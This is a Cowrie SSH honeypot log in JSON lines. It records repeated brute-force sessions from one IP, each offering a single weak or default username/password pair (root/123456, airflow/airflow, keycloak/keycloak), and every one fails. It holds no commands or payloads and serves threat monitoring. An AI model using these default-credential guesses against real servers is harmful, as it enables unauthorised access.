{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:40.691600Z","src_ip":"192.109.200.237","session":"9afb3b17a9a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:40.773705Z","src_ip":"192.109.200.237","session":"9afb3b17a9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:41.020416Z","src_ip":"192.109.200.237","session":"9afb3b17a9a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:42.107645Z","src_ip":"192.109.200.237","session":"9afb3b17a9a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59806,"dst_ip":"159.203.135.109","dst_port":22,"session":"15aebf4b95fe","protocol":"ssh","message":"New connection: 192.109.200.237:59806 (159.203.135.109:22) [session: 15aebf4b95fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:43.703022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:43.707828Z","src_ip":"192.109.200.237","session":"15aebf4b95fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:43.789897Z","src_ip":"192.109.200.237","session":"15aebf4b95fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:44.035702Z","src_ip":"192.109.200.237","session":"15aebf4b95fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:45.169452Z","src_ip":"192.109.200.237","session":"15aebf4b95fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59836,"dst_ip":"159.203.135.109","dst_port":22,"session":"e56e08f54eee","protocol":"ssh","message":"New connection: 192.109.200.237:59836 (159.203.135.109:22) [session: e56e08f54eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:46.729675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:46.734245Z","src_ip":"192.109.200.237","session":"e56e08f54eee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:46.816399Z","src_ip":"192.109.200.237","session":"e56e08f54eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:47.080013Z","src_ip":"192.109.200.237","session":"e56e08f54eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:48.168929Z","src_ip":"192.109.200.237","session":"e56e08f54eee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59860,"dst_ip":"159.203.135.109","dst_port":22,"session":"de9481ffe362","protocol":"ssh","message":"New connection: 192.109.200.237:59860 (159.203.135.109:22) [session: de9481ffe362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:49.901443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:49.912930Z","src_ip":"192.109.200.237","session":"de9481ffe362","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:49.985329Z","src_ip":"192.109.200.237","session":"de9481ffe362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:50.304960Z","src_ip":"192.109.200.237","session":"de9481ffe362","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:51.389832Z","src_ip":"192.109.200.237","session":"de9481ffe362","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60048,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b5760700a85","protocol":"ssh","message":"New connection: 192.109.200.237:60048 (159.203.135.109:22) [session: 7b5760700a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:52.971222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:52.975583Z","src_ip":"192.109.200.237","session":"7b5760700a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:53.056798Z","src_ip":"192.109.200.237","session":"7b5760700a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:53.303547Z","src_ip":"192.109.200.237","session":"7b5760700a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:54.388207Z","src_ip":"192.109.200.237","session":"7b5760700a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60062,"dst_ip":"159.203.135.109","dst_port":22,"session":"777b0a3d7a16","protocol":"ssh","message":"New connection: 192.109.200.237:60062 (159.203.135.109:22) [session: 777b0a3d7a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:56.035621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:56.040604Z","src_ip":"192.109.200.237","session":"777b0a3d7a16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:56.122833Z","src_ip":"192.109.200.237","session":"777b0a3d7a16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:56.367979Z","src_ip":"192.109.200.237","session":"777b0a3d7a16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:57.453435Z","src_ip":"192.109.200.237","session":"777b0a3d7a16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60074,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ca435d61b2c","protocol":"ssh","message":"New connection: 192.109.200.237:60074 (159.203.135.109:22) [session: 4ca435d61b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:59.023780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:59.028356Z","src_ip":"192.109.200.237","session":"4ca435d61b2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:59.157362Z","src_ip":"192.109.200.237","session":"4ca435d61b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:59.523825Z","src_ip":"192.109.200.237","session":"4ca435d61b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:00.608721Z","src_ip":"192.109.200.237","session":"4ca435d61b2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60520,"dst_ip":"159.203.135.109","dst_port":22,"session":"dba50dbce46a","protocol":"ssh","message":"New connection: 192.109.200.237:60520 (159.203.135.109:22) [session: dba50dbce46a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:02.236000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:02.240537Z","src_ip":"192.109.200.237","session":"dba50dbce46a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:02.322674Z","src_ip":"192.109.200.237","session":"dba50dbce46a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:02.573130Z","src_ip":"192.109.200.237","session":"dba50dbce46a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:03.658737Z","src_ip":"192.109.200.237","session":"dba50dbce46a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60526,"dst_ip":"159.203.135.109","dst_port":22,"session":"489a6900d290","protocol":"ssh","message":"New connection: 192.109.200.237:60526 (159.203.135.109:22) [session: 489a6900d290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:05.313834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:05.318861Z","src_ip":"192.109.200.237","session":"489a6900d290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macC